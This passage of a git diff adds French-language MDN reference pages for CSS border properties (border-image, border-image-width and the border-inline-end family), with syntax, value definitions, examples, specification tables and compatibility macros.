+/* haut | droit | bas | gauche */
+border-image-width: 5% 2em 10% auto;
+
+/* Valeurs globales */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+</pre>
+
+<p>La propriété <code>border-image-width</code> est définie avec une, deux, trois ou quatre valeurs parmi celles de la liste qui suit.</p>
+
+<ul>
+ <li>Lorsqu'une valeur est utilisée, c'est cette valeur qui est utilisée pour les quatre côtés</li>
+ <li>Lorsque deux valeurs sont utilisées, la premières s'applique aux côtés haut et bas et la seconde aux côté gauche et droit</li>
+ <li>Lorsque trois valeurs sont utilisées, la première s'applique au côté haut, la deuxième aux côtés gauche et droit et la troisième au côté bas.</li>
+ <li>Lorsque quatre valeurs sont utilisées, elles s'appliquent (dans cet ordre) au côté haut, droit, bas et gauche (dans le sens horaire).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Une longueur ou un pourcentage représentant la largeur de la bordure. Cette longueur peut être absolue (ex. <code>px</code>) ou relative (ex. <code>rem</code>). Les pourcentages sont relatifs à la largeur de la boîte de bordure. Les valeurs négatives sont considérées invalides<code>.</code></dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Représente un multiple de <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de la propriété {{cssxref("border-width")}} de l'élément. Les valeurs négatives sont considérées invalides.</dd>
+ <dt><code>auto</code></dt>
+ <dd>L'épaisseur de la bordure imagée est égale à la largeur ou à la hauteur (selon ce qui peut s'appliquer) de la propriété {{cssxref("border-image-slice")}} correspondante. Si l'image ne possède pas de dimensions intrinsèques, c'est la valeur calculée de <code>border-width</code> qui sera utilisée à la place.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Un mot-clé qui indique que les quatre valeurs sont héritées des valeurs calculées pour la propriété de l'élément parent.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  border: 20px solid;
+  border-image: url("https://mdn.mozillademos.org/files/10470/border.png") 30 round;
+  border-image-width: 16px;
+  padding: 40px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+  eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+  At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+  no sea takimata sanctus est Lorem ipsum dolor sit amet.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '480', '320')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-width', 'border-image-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image-width")}}</p>
diff --git a/files/fr/web/css/border-image/index.html b/files/fr/web/css/border-image/index.html
new file mode 100644
index 0000000000..d941174c50
--- /dev/null
+++ b/files/fr/web/css/border-image/index.html
@@ -0,0 +1,166 @@
+---
+title: border-image
+slug: Web/CSS/border-image
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/border-image
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image</code></strong> dessine une image sur la bordure d'un élément. C'est <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">une propriété raccourcie</a> qui permet de définir {{cssxref("border-image-source")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-repeat")}}, {{cssxref("border-image-slice")}}, {{cssxref("border-image-outset")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cela permet d'obtenir des effets de dessin complexes sans avoir à complexifier l'utilisation des boîtes CSS. La propriété <code>border-image</code> sera utilisée plutôt que le style défini via la propriété {{cssxref("border-style")}}. Selon la spécification, <code>border-style</code> <strong>doit</strong> être présente si <code>border-image</code> est utilisée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de {{cssxref("border-image-source")}} vaut <code>none</code> (via <code>border-image-source</code> ou via la propriété raccourcie <code>border-image</code>), ce sera le style indiqué par {{cssxref("border-style")}} qui sera utilisé.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* source | slice */
+border-image: linear-gradient(red, blue) 27;
+
+/* source | slice | repeat */
+border-image: url("/images/border.png") 27 space;
+
+/* source | slice | width */
+border-image: linear-gradient(red, blue) 27 / 35px;
+
+/* source | slice | width | outset | repeat */
+border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space;
+</pre>
+
+<p>La propriété <code>border-image</code> peut être définie avec une à cinq valeurs parmi celles définies ci-après.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si la <a href="/fr/docs/Web/CSS/Valeur_calculée">valeur calculée</a> de {{cssxref("border-image-source")}} vaut <code>none</code> ou si l'image ne peut pas être affichée, c'est le {{cssxref("border-style")}} correspondant qui sera affiché.</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>border-image-source</code></dt>
+ <dd>L'image source. Voir {{cssxref("border-image-source")}}.</dd>
+ <dt><code>border-image-slice</code></dt>
+ <dd>La façon dont l'image est découpée en zones (jusqu'à 4). Voir {{cssxref("border-image-slice")}}.</dd>
+ <dt><code>border-image-width</code></dt>
+ <dd>La largeur de la bordure avec l'image. Voir {{cssxref("border-image-width")}}.</dd>
+ <dt><code>border-image-outset</code></dt>
+ <dd>La distance entre la bordure et le bord de l'élément. Voir {{cssxref("border-image-outset")}}.</dd>
+ <dt><code>border-image-repeat</code></dt>
+ <dd>La façon dont l'image source est adaptée afin de correspondre aux dimensions de la bordure. Voir {{cssxref("border-image-repeat")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_une_image_matricielle_étirée">Utiliser une image matricielle étirée</h3>
+
+<p>On découpe l'image et on la répète pour remplir la zone entre les bordures.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">#bitmap {
+  border: 30px solid transparent;
+  padding: 20px;
+  border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 30;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="bitmap"&gt;
+  L'image est étirée pour remplir l'espace.
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_une_image_matricielle_répétée')}}</p>
+
+<h3 id="Utiliser_un_dégradé">Utiliser un dégradé</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css">#gradient {
+  border: 30px solid;
+  border-image: linear-gradient(red, yellow) 10;
+  padding: 20px;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div id="gradient"&gt;
+  L'image formée par le gradient est étirée pour remplir la zone.
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_un_dégradé')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les technologies d'assistance ne peuvent pas analyser les images de bordure. Si l'image contient des informations essentielles au sens de la page, mieux vaut décrire ces informations dans le contenu sémantique du document.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener"><em>Understanding Success Criterion 1.1.1 - Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image', 'border-image')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("url()", "url()")}}</li>
+ <li>Fonctions pour les dégradés
+  <ul>
+   <li>{{CSSxRef("conic-gradient")}}</li>
+   <li>{{CSSxRef("linear-gradient")}}</li>
+   <li>{{CSSxRef("repeating-linear-gradient")}}</li>
+   <li>{{CSSxRef("radial-gradient")}}</li>
+   <li>{{CSSxRef("repeating-radial-gradient")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-inline-color/index.html b/files/fr/web/css/border-inline-color/index.html
new file mode 100644
index 0000000000..8fb839bd4b
--- /dev/null
+++ b/files/fr/web/css/border-inline-color/index.html
@@ -0,0 +1,102 @@
+---
+title: border-inline-color
+slug: Web/CSS/border-inline-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-color</code></strong> définit la couleur de la bordure d'un élément sur les côtés de l'axe en ligne. Cette propriété correspondra à différentes propriétés physiques pour les couleurs de la bordure selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété logique peut correspondre à {{cssxref("border-top-color")}} et {{cssxref("border-bottom-color")}} ou à {{cssxref("border-right-color")}} et {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-inline-color: yellow;
+border-inline-color: #F5F6F7;
+</pre>
+
+<p>Pour définir la couleur de la bordure sur l'autre dimension, on pourra utiliser la propriété logique {{cssxref("border-block-color")}} qui définit {{cssxref("border-block-start-color")}} et {{cssxref("border-block-end-color")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure. Voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-color", "border-inline-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-inline-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés relatives aux propriétés logiques : {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+ <li>{{bug("1297097")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-end-color/index.html b/files/fr/web/css/border-inline-end-color/index.html
new file mode 100644
index 0000000000..5492baa5d7
--- /dev/null
+++ b/files/fr/web/css/border-inline-end-color/index.html
@@ -0,0 +1,115 @@
+---
+title: border-inline-end-color
+slug: Web/CSS/border-inline-end-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-inline-end-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-end-color</code></strong> définit la couleur de la bordure pour le côté de la fin de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher des autres propriétés logiques permettant de définir les couleurs de la bordure d'un élément :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start-color")}},</li>
+ <li>{{cssxref("border-block-end-color")}},</li>
+ <li>{{cssxref("border-inline-start-color")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-end-color: red;
+border-inline-end-color: #fffff;
+border-inline-end-color: rgb(200, 0, 0);
+
+border-inline-end-color: unset;
+border-inline-end-color: initial;
+border-inline-end-color: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-color'&gt;</code></dt>
+ <dd>Voir {{cssxref("border-color")}}</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-end-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-color", "border-inline-end-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-end-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-end-style/index.html b/files/fr/web/css/border-inline-end-style/index.html
new file mode 100644
index 0000000000..5bfc8a592a
--- /dev/null
+++ b/files/fr/web/css/border-inline-end-style/index.html
@@ -0,0 +1,110 @@
+---
+title: border-inline-end-style
+slug: Web/CSS/border-inline-end-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-inline-end-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-end-style</code></strong> définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les autres propriétés logiques permettant de définir le style de la bordure sont les suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start-style")}}</li>
+ <li>{{cssxref("border-block-end-style")}}</li>
+ <li>{{cssxref("border-inline-start-style")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-end-style: dashed;
+border-inline-end-style: dotted;
+border-inline-end-style: groove;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style utilisé pour la ligne de la bordure sur ce côté, voir {{cssxref("border-style")}}</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-end-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-style", "border-inline-end-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-end-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-end-width/index.html b/files/fr/web/css/border-inline-end-width/index.html
new file mode 100644
index 0000000000..03607a3631
--- /dev/null
+++ b/files/fr/web/css/border-inline-end-width/index.html
@@ -0,0 +1,106 @@
+---
+title: border-inline-end-width
+slug: Web/CSS/border-inline-end-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-inline-end-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-end-width</code></strong> définit la largeur de la bordure pour le côté de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à  {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique est à rapprocher des autres propriétés logiques {{cssxref("border-block-start-width")}}, {{cssxref("border-block-end-width")}} et {{cssxref("border-inline-start-width")}} qui permettent de définir la largeur de la bordure pour les différents côtés de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+border-inline-end-width: 5px;
+border-inline-end-width: thick;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure, voir {{cssxref("border-width")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-end-width: 5px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end-width", "border-inline-end-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-end-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-width")}}</li>
+   <li>{{cssxref("border-right-width")}}</li>
+   <li>{{cssxref("border-bottom-width")}}</li>
+   <li>{{cssxref("border-left-width")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-end/index.html b/files/fr/web/css/border-inline-end/index.html
new file mode 100644
index 0000000000..aa0fd3e579
--- /dev/null
+++ b/files/fr/web/css/border-inline-end/index.html
@@ -0,0 +1,118 @@
+---
+title: border-inline-end
+slug: Web/CSS/border-inline-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-inline-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-end</code></strong> est une propriété raccourcie qui permet de définir la bordure d'un élément pour le côté correspondant à la fin de l'élément dans le sens de lecture. Elle peut être utilisée pour définir les valeurs de {{cssxref("border-inline-end-width")}}, {{cssxref("border-inline-end-style")}} et {{cssxref("border-inline-end-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start")}},</li>
+ <li>{{cssxref("border-block-end")}},</li>
+ <li>{{cssxref("border-inline-start")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-end: 1px;
+border-inline-end: 2px dotted;
+border-inline-end: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une ou plusieurs valeurs parmi les suivantes, dans n'importe quel ordre :</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure pour ce côté, voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style de la ligne utilisé pour la bordure de ce côté, voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure sur ce côté, voir {{cssxref("color")}}.</dd>
